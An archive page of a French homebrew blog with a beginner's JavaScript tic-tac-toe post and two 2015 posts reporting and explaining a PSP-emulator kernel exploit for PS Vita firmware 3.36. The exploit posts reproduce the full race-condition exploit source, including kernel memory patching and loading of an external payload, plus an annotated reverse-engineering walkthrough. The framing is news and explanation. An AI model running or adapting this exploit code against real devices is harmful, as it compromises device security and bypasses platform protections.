Archives des Code Source - Custom Protocol

Coding Club Paris (Epitech) : mon premier “morpion” en javascript

Wirus — Wed, 22 Apr 2015 07:32:01 +0000

Bien le bonjour à tous et toutes !

Vu que j'aime pas laisser mon bébé Custom Protocol sans lui donner au moins une petite news quotidienne dont il raffole tant, je vais aujourd'hui vous faire part de mon expérience au Coding Club d'Epitech. Tout d'abord, qu'est-ce qu'Epitech ?

Epitech est une école d'informatique créée en 1999 qui forme en 5 ans après-bac des experts du secteur. Elle permet de transformer une passion en expertise via une pédagogie résolument innovante, organisée par projets. Elle est présente dans 12 villes de France et à Dakar (Sénégal) et bientôt à Beijing (Chine). Epitech délivre un titre d'Expert en Technologies de l'Information (Bac+5), homologué Niveau 1 par l’État au niveau de la Commission Nationale de la Certification Professionnelle (CNCP).

Et... qu'est-ce que le Coding Club ?

Le Coding Club est un atelier récurrent qui permet de vous initier à la programmation et au développement. Que ce soit par exemple le développement de jeux vidéo et bien d'autres activités ! Il est disponible dans toutes les écoles Epitech de France ! Les ateliers d'apprentissage (stages durant les vacances, sessions le mercredi ou le samedi) sont animés par des étudiants d'Epitech.

Image d'illustration du Coding Club

Maintenant que vous voyez à peu près l'utilité du Coding Club, revenons à nos moutons. Je suis un piètre descripteur (ça se dit ? o_O), mais en un mot, je dirais que c'était zénial. L'ambiance était plutôt "détendue" et "cool" - contrairement à ce à quoi je m'attendais -, les conseillers techniques sympathiques et à l'écoute de chacun d'entre nous, les locaux assez bien entretenus et design (on notera la pelouse "inversée" avant de rentrer dans la cafét' qui se trouve... au plafond), et enfin le self était carrément meilleur qu'à mon lycée (je ne citerai pas de nom :P).

On a pu visiter lundi matin le Innovation Hub, que j'avais déjà entrevu durant les portes ouvertes de la même école, dans sa quasi-intégralité tout en parlant avec les étudiants qui s'y trouvaient, et dont le centre d'intérêt différait toujours (un coup c'était l'intelligence artificielle, l'autre la manipulation des Google Glass ou autres Oculus Rift, tandis que le suivant était à fond sur le portage de Jubeat avec un clavier personnalisé et physique, etc.).

Le Jubeat du futur by Epitech

Ensuite, du lundi après-midi jusqu'à mardi 17h, on n'a pas arrêté d'essayer de coder un putain de morpion en javascript. Et croyez-moi, quand on n'y connait mais alors que dalle en javascript, c'est chaud. D: Autant la partie HTML/CSS se bouclait en 1 heure, autant javascript... Bref, ça m'a bien pris la tête plusieurs heures. Mais en restant motivé et confiant, j'ai pu comprendre mes erreurs, les corriger, refaire des erreurs, les re-comprendre, les re-corriger, etc. Jusqu'à arriver à un jeu assez stable.

Et là, stupéfaction : je vois que je suis l'un des seuls à avoir terminé ! :O Un conseiller technique me propose du coup, à défaut de réaliser une intelligence artificielle faute de temps, de créer un petit sélecteur de ~~personnages~~ poneys (faut croire que la majorité des étudiants d'Epitech vouent un culte à My Little Pony) afin que les 2 joueurs puissent choisir leur héros préféré (ou héroïne, j'en sais rien). J'accepte le défi, et arrive à terminer à 17h pile mon pitit morpion. Ça peut paraître de la merde, mais je me sentais fier. Et les bravo des étudiants n'ont fait qu'atténuer cette petite fierté.

Screenshot de mon morpion... :')

Mon mini-morpion est donc disponible à cette adresse, mais comme vous le remarquerez certainement très rapidement, il y a un problème d'optimisation et de chargement (même sur Custom Protocol en fait) dû au fait que votre navigateur doit charger l'image de fond qui est assez lourde ainsi que la police. Je vous suggère donc de télécharger l'archive de mon jeu de 1.37 mb à cette adresse (suffit d'extraire toussa et de glisser-déposer le fichier index.html sur votre navigateur), et si vous le souhaitez de voir son code source (critiques désagréables s'abstenir :o).

Bref, très content de ce petit "séjour" à Epitech, je pense et j'espère continuer un peu le javascript dans mon coin pour, par exemple, améliorer Custom Protocol et lui rajouter des fonctionnalités exclusives plus tard !

index.html

Voici la partie HTML de mon morpion :





	Morpion by Wirus
	

 

	
 
	
		
		
		
		
		
		
	
 
	
		
			
			
			
		
 
		
			
			
			
		
 
		
			
			
			
		
	
 
	
	
 
	
	
 
	
		POWERED BY

style.css

Voici la partie CSS de mon morpion :

@font-face {
   font-family: 'Roboto';
   src: url('Roboto-Medium.ttf');
}
 
body {
    background: url('img/wall.jpg') no-repeat -180px -100px;
	font-family: 'Roboto', sans-serif;
	font-size: 14px;
}
 
#logo {
	text-align: center;
}
 
#game {
	width: 350px;
	height: 350px;
	margin: 22px auto 22px auto;
	background: rgb(18, 132, 220);
	padding: 10px;
	border-radius: 5px;
}
 
#game button {
	width: 102px;
	height: 102px;
	float: left;
	margin: 7px;
	background: ;
}
 
#game div {
        width: 350px;
        text-align: center;
}
 
#gameStatus {
	width: 360px;
	height: auto;
	background: rgb(18, 132, 220);
	border-radius: 5px;
	margin: auto;
	padding: 5px;
	color: #DDD;
	text-align: center;
}
 
#gameStatus a {
	color: rgb(200, 200, 0);
	font-weight: bold;
}
 
#gameStatus img {
	width: 20px;
	height: auto;
}
 
@media screen and (min-height: 700px) {
 
#credits {
	background: none repeat scroll 0% 0% rgba(255, 255, 255, 0.5);
	width: 100%;
	height: 100px;
	position: absolute;
	bottom: 0px;
	left: 0px;
	text-align: right;
}
 
#credits p {
	margin: 15px 22px 10px 0px;
}
 
#credits img {
	width: 150px;
	margin: -5px 5px 0px 0px;
}
 
}
 
@media screen and (max-height: 700px) {
	#credits {display: none;}
}
 
#selecteur {
	width: 350px;
	height: 240px;
	margin: 22px auto 22px auto;
	background: rgb(18, 132, 220);
	padding: 10px;
	border-radius: 5px;
}
 
#selecteur button {
	width: 102px;
	height: 102px;
	float: left;
	margin: 7px;
	font-size: 12px;
	background: ;
}
#selecteur img {
	display: block;
	margin: auto;
}

Morpion.js

Voici la partie JavaScript de mon morpion :

function modifyStatut(element, message) {
	element.innerHTML = message;
}
 
function isValid(valeur) {
	return valeur.innerHTML == 0;
}
 
function setSymbole(bouton, joueur) {
	bouton.innerHTML = joueur;
}
 
function searchWinner(pions, gamers, currentTurn) {
	if (pions[0].innerHTML == gamers[currentTurn] &&
		pions[1].innerHTML == gamers[currentTurn] &&
		pions[2].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[3].innerHTML == gamers[currentTurn] &&
		pions[4].innerHTML == gamers[currentTurn] &&
		pions[5].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[6].innerHTML == gamers[currentTurn] &&
		pions[7].innerHTML == gamers[currentTurn] &&
		pions[8].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[0].innerHTML == gamers[currentTurn] &&
		pions[3].innerHTML == gamers[currentTurn] &&
		pions[6].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[1].innerHTML == gamers[currentTurn] &&
		pions[4].innerHTML == gamers[currentTurn] &&
		pions[7].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[2].innerHTML == gamers[currentTurn] &&
		pions[5].innerHTML == gamers[currentTurn] &&
		pions[8].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[0].innerHTML == gamers[currentTurn] &&
		pions[4].innerHTML == gamers[currentTurn] &&
		pions[8].innerHTML == gamers[currentTurn])
	return true;
 
	if (pions[2].innerHTML == gamers[currentTurn] &&
		pions[4].innerHTML == gamers[currentTurn] &&
		pions[6].innerHTML == gamers[currentTurn])
	return true;
}
 
function matchNul(pions, gamers, currentTurn) {
	for (var i = 0, len = pions.length; i < len; i++) {
		if (pions[i].innerHTML == 0)
		return false
	}
	return true
}
 
function main() {
	var currentTurn = Math.floor((Math.random())),
		isGameOver = false,
		afficheur = document.querySelector("#gameStatus"),
        pions = document.querySelectorAll("#game button");
        modifyStatut(afficheur, "Le jeu peut démarrer.
Joueur " + gamers[currentTurn] + " ("+ gamersnom[currentTurn] +"), à vous de jouer...");
       
	for (var i = 0, len = pions.length; i < len; i++) {
		pions[i].addEventListener("click", function() {
			if (isGameOver)
				return;
 
			if (isValid(this)) {
				setSymbole(this, gamers[currentTurn]);
				if (searchWinner(pions, gamers, currentTurn)) {
					modifyStatut(afficheur, "Le joueur " + gamers[currentTurn] + " ("+ gamersnom[currentTurn] +") a gagné ! :D
Rejouer ?");
					isGameOver = true;
				} else if (matchNul(pions, gamers, currentTurn)) {
					modifyStatut(afficheur, "Match Nul ! :O
Rejouer ?");
					isGameOver = true;
				} else {
					currentTurn++;
					currentTurn = currentTurn % 2;
					modifyStatut(afficheur, "Joueur " + gamers[currentTurn] + " ("+ gamersnom[currentTurn] +"), c'est à votre tour !");
				}
			} else {             
			modifyStatut(afficheur, "Quelqu'un a déjà joué ici !");
			}
		});
	}
}
 
function SelectVerif() {
	if (this.innerHTML.split(">")[1] != gamersnom[currentSelection - 1]) {
		gamersnom[currentSelection] = this.innerHTML.split(">")[1];
		gamers[currentSelection] = this.innerHTML.split(">")[0] + ">";
		alert("Joueur " + (currentSelection + 1) + ", vous avez choisi " + gamersnom[currentSelection]);
		currentSelection++;
		modifyStatut(document.querySelector("#gameStatus"), "Joueur 2, choisissez votre poney préféré ! :)");
		if (currentSelection > 1) {
			demarrer = true;
			document.querySelector("#game").style.display = "";
			document.querySelector("#selecteur").style.display = "none";
			main();
        }
	}
}
 
function selecteur() {
	var afficheur = document.querySelector("#gameStatus"),
		poneys = document.querySelectorAll("#selecteur button"),
		images = ['', '', '', '', '', ''],
		noms = ['Twilight Sparkle', 'Rainbow Dash', 'Applejack', 'Pinkie Pie', 'Rarity', 'Fluttershy'];
	document.querySelector("#game").style.display = "none";
	modifyStatut(afficheur, "Joueur " + (currentSelection + 1) + ", choisissez votre poney préféré ! :)");
	
	for (var i = 0, len = poneys.length; i < len; i++) {
		poneys[i].innerHTML = images[i] + noms[i];
		poneys[i].addEventListener("click", SelectVerif);
	}
}
 
var currentSelection = 0,
	gamers = ['', ''],
	gamersnom = ['', ''];
 
selecteur();

L’article Coding Club Paris (Epitech) : mon premier “morpion” en javascript est apparu en premier sur Custom Protocol.

Le code source du kernel exploit PSP de Qwikrazor87 expliqué

Wirus — Sun, 01 Mar 2015 17:32:33 +0000

Le développeur Guidobot, à l'origine du 138Menu que vous utilisez peut-être sur votre PS Vita, a posté avant-hier sur les forums de Wololo une explication relativement détaillée à propos du dernier exploit kernel PSP découvert par Qwikrazor87 sur les PS Vita en firmware 3.36 dont le code source a été révélé il y a 2 jours par l'auteur lui-même. Une petite traduction française s'impose...

Suivez le Guidobot !

Vous vous souvenez peut-être que nous évoquions une situation de compétition (ou race condition), cela semble être confirmé. Tout d'abord, sachez qu'une situation de compétition est une sorte de faille présente dans un système qui ne se manifeste que lorsque plusieurs "événements" causés par des acteurs (dont au moins un a la capacité de modifier l'état de la ressource impliquée) interviennent dans un ordre inattendu. Dans les codes multi-tâches (multithread), cela peut être assez commun si le verrouillage adéquat de chaque ressource partagée n'est pas fait correctement par les tâches (threads).

Dans un tel cas, la fonction exploitée vérifie que les paramètres sont valides avant de continuer, mais avant d'utiliser ces valeurs, un autre thread "malveillant" peut venir modifier le contenu de certains paramètres avec le fameux contenu exploité.

Explications en images

Ici, la fonction donnant l'accès au noyau (kernel) s'appelle sceMeVideo_driver_4D78330C (à comprendre comme étant le "do_some_stuff(data)" sur l'illustration ci-dessus), et la fonction avec la situation de compétition est le fameux scevideoCodecStop (le "myfonction" sur l'illustration). Vous avez une idée générale du fonctionnement de ce kernel exploit, si vous souhaitez connaître tout sur tout, nous vous invitons à voir les explications du code source plus bas. ;)

//sceVideocodecStop kxploit reverse by GUIDOBOT
//u sont inconnus, p sont les pointeurs et v les valeurs
typedef struct s_data
{
	unsigned u0;	//0
	unsigned u4;	//1
	unsigned u8;	//2
	unsigned p12; 	//3
	unsigned p16; 	//4
	unsigned u20; 	//5
	unsigned u24; 	//6
	unsigned u28; 	//7
	unsigned u32;	//8
	unsigned u36;	//9
	unsigned u40;	//10
	unsigned p44;	//11, *
	unsigned p48;	//12
	unsigned u52;	//13
	unsigned p56;	//14
	unsigned v60;	//15
} t_data;
int sceVideocodecStop(t_data * data, int flag)
{
	//on veut que cela retourne 0, on lui assigne donc les bonnes valeurs
	int check = sub_00000C38(data); 
	
	if(!check)
	{
		//les deux lignes ci-dessous se chargent d'écrire certaines données depuis la structure vers la mémoire,  mais on ne s'en soucie pas
		sub_00000D2C(data, flag);
		sub_00000B8C(data, flag);
		
		//c'est cet endroit qui nous intéresse, les valeurs de la structure doivent normalement déjà être échangées pour que tout fonctionne
		int val = sceMeVideo_driver_4D78330C(flag, data);
		
		//etc.
		//..
	};
	//etc.
	//..
};
//filtres des adresses du kernel
int sub_00000C38(const t_data * data, int flag)
{
	//ce morceau de code va simplement vérifier certaines données, à savoir les valeurs : data->p12, data->p16, data->p44 et data->p56
	if((0x80000000 & ((data + 96) | data) >= 0) && (0x80000000 & data->p12 >= 0))
	{
		int size = 256;
		
		if(flag == 0)
			size = 40;
		else if(flag >= 3)
			return 0x806201FE;
		if(0x80000000 & ((data->p16 + size) | data->p16) >= 0)
		{		
			if(flag)
				return 0; //malheureusement, on ne l'obtient pas ici, mais continuez de lire
			if(0x80000000 & ((((data->p44 + (data->v60 * 44))) | data->p44) | (data->v60 * 44)) >= 0)
			{		
				if(0x80000000 & ((data->p48 + 100) | data->p48) >= 0)
				{
					if(0x80000000 & (((data->p56 + data->v60 * 328) | data->p56) | (data->v60 * 328)) >= 0)
						return 0; //youpi
				};
			};
		};
	};
	//on ne veut pas arriver ici
	return 0x80000023;
};
int sceMeWrapper_driver_4D78330C(int flag, t_data * data)
{
	if(data->v0 > 0x05100601) // il est nécessaire de faire ce data->v0 = 0x05100601 pour s'amuser
		return -2;
		
	data->v8 = 0;
	if(flag == 0)
	{
		if(data->v60 - 1 >= 4)
			return -1;
		
		//Si data->v60 est égal à 1 alors le compteur sera à 0
		int count = data->v60 - 1;
		if(data->p56)
		{
			//c'est affreux ici, mieux vaut voir du côté de la condition "else" (d'ailleurs, ou pourrait aussi faire un kernel exploit ici)
			void * address = count * 44 + data->p44;
			unsigned value = count * 328 + data->p56;
			
			for(int i = count; i > 0; i--)
			{
				*(address + 36) = value;
				*(address + 40) = value + 164;
				
				value -= 328;
				address -= 44;
			};
		}
		else //cela signifie que si data->p56 est nul
		{
			//si le compteur est à 0 alors l'adresse sera data->p44
			void * address = count * 44 + data->p44;
			
			for(int i = count; i > 0; i--)
			{
				*(address + 36) = 0; 
				*(address + 40) = 0; 
				address -= 44;
			};
			
			//nous avons sauté 2 instructions ici, ce afin de ne pas "casser" le code et d'assigner 0 au compteur
			//le pointillage data->p44 à (ADDRESS - 36) va nous permettre de sauter ADDRESS et (ADDRESS + 4)
		};
		
		int result2 = sceMeWrapper_driver_635397BB(3, data->p12, data->p16, data->p44);
		
		if(result2 >= 0)
			return 0;
			
		return sub_00001194(data, result2);
	}
	else if(flag != 1)
		return -1;
	int result = sceMeWrapper_driver_635397BB(33, data->v12);
	
	if(result)
		return sub_000011C4(data, result);
	
	return 0;
};

L’article Le code source du kernel exploit PSP de Qwikrazor87 expliqué est apparu en premier sur Custom Protocol.

Qwikrazor87 publie le code source de son kernel exploit pour firmware 3.36

Wirus — Fri, 27 Feb 2015 21:23:00 +0000

Qwikrazer87 - que l'on ne présente plus - vient de publier à tout le monde le code source de son exploit kernel PSP tournant sur les PS Vita en firmware 3.36 (le dernier à l'heure actuelle). Bien évidemment réservé aux développeurs les plus aguerris ou les plus curieux, cet émulateur PSP utilise une vulnérabilité au niveau de la fonction sceVideocodecStop, dont l'auteur avait déjà parlé une fois en janvier sur son compte Twitter :

props to anyone that can exploit sceVideocodecStop on 3.30+ (which will then allow the other "patched" exploits to work)

— qwikrazor87 (@qwikrazor87) 29 Janvier 2015

Cette vulnérabilité consiste en un remplissage de la mémoire tampon d'une vidéo à l'aide d'un contenu spécifique, et semble s'appuyer sur une situation de compétition (ou race condition) où le contenu de la mémoire tampon est modifié dans une tâche (thread) à part tandis que la fonction sceVideoCodecStop est appelée. Si vous n'avez rien compris, ce n'est pas grave, regardez tout de même en bas par curiosité.

#include 
u32 sceMeCodecWrapper = 0x88136800, sw_address = 0;
int is_exploited = 0, running = 1;
u32 a0[24];
int storethread()
{
	while (running == 1) {
		a0[11] = sw_address;
		sceKernelDelayThread(1);
	}
	sceKernelExitThread(0);
}
void KernelContent()
{
	is_exploited = 1;
	__asm("move $k1, $0;");
	//"restore" me_wrapper mutex UID
	SceUID (* _sceKernelCreateMutex)(const char *name, u32 attr, int init_count, void *options) = \
		(void *)FindExport("sceThreadManager", "ThreadManForUser", 0xB7D098C6);
	SceUID mutex = _sceKernelCreateMutex("SceKermitMe", 256, 0, NULL);
	_sw(mutex, sceMeCodecWrapper + 0x2F80);
	//sceKernelLibcTime - pass address of kernel function in first arg, restored later in ARK code. |:
	_sw(0x00800008, 0x8800F9C4);	//jr	$a0
	_sw(0, 0x8800F9C8);		//nop
	void (* _sceKernelDcacheWritebackInvalidateAll)(void) = (void *)0x88000744;
	void (* _sceKernelIcacheInvalidateAll)(void) = (void *)0x88000E98;
	_sceKernelDcacheWritebackInvalidateAll();
	_sceKernelIcacheInvalidateAll();
}
void do_exploit()
{
	is_exploited = 0;
	running = 1;
	sw_address = (sceMeCodecWrapper + 0x2F80) - 36;
	SceUID thid = sceKernelCreateThread("thid", storethread, 8, 512, THREAD_ATTR_USER, NULL);
	sceKernelStartThread(thid, 0, NULL);
	sceUtilityLoadModule(0x300);
	sceUtilityLoadModule(0x303);
	int (* sceVideocodecStop)(u32 *a0, int a1) = (void *)FindImport("sceVideocodec", 0xA2F0564E, 0);
	memset(a0, 0, sizeof(a0));
	a0[0] = 0x05100601;
	a0[15] = 1;
	int i;
	while (a0[2] != 0x800201C3) {
		a0[15] = 1;
		a0[3] = 0x09000000;
		a0[4] = 0x09000000;
		a0[2] = 0;
		a0[11] = 0x09000000;
		sceVideocodecStop(a0, 0);
	}
	fillvram(-1);
	sw_address = 0x8800F9C4 - 36;
	int (* _sceKernelLibcTime)(u32, u32) = (void *)sceKernelLibcTime;
	while (is_exploited != 1) {
		a0[15] = 1;
		a0[11] = 0x09000000;
		a0[3] = 0x09000000;
		a0[4] = 0x09000000;
		sceVideocodecStop(a0, 0);
		sceKernelDcacheWritebackAll();
		_sceKernelLibcTime(0x08800000, ((u32)&KernelContent | 0x80000000));
	}
	fillvram(0xFF00);
	running = 0;
	u8 buf[0x4000];
	SceUID fd = sceIoOpen("ms0:/PSP/SAVEDATA/NPUG80320KEXPLOIT/ARK.BIN", PSP_O_RDONLY, 0777);
	sceIoRead(fd, buf, sizeof(buf));
	sceIoClose(fd);
	memcpy((void *)0x10000, buf, sizeof(buf));
	sceKernelDcacheWritebackAll();
	void (* Start)(const char *) = (void *)0x10000;
	Start("ms0:/PSP/SAVEDATA/NPUG80320KEXPLOIT/");
}
void _start() __attribute__ ((section (".text.start")));
void _start()
{
	fillvram(0x80808080);
	do_exploit();
	sceKernelExitGame();
}

L’article Qwikrazor87 publie le code source de son kernel exploit pour firmware 3.36 est apparu en premier sur Custom Protocol.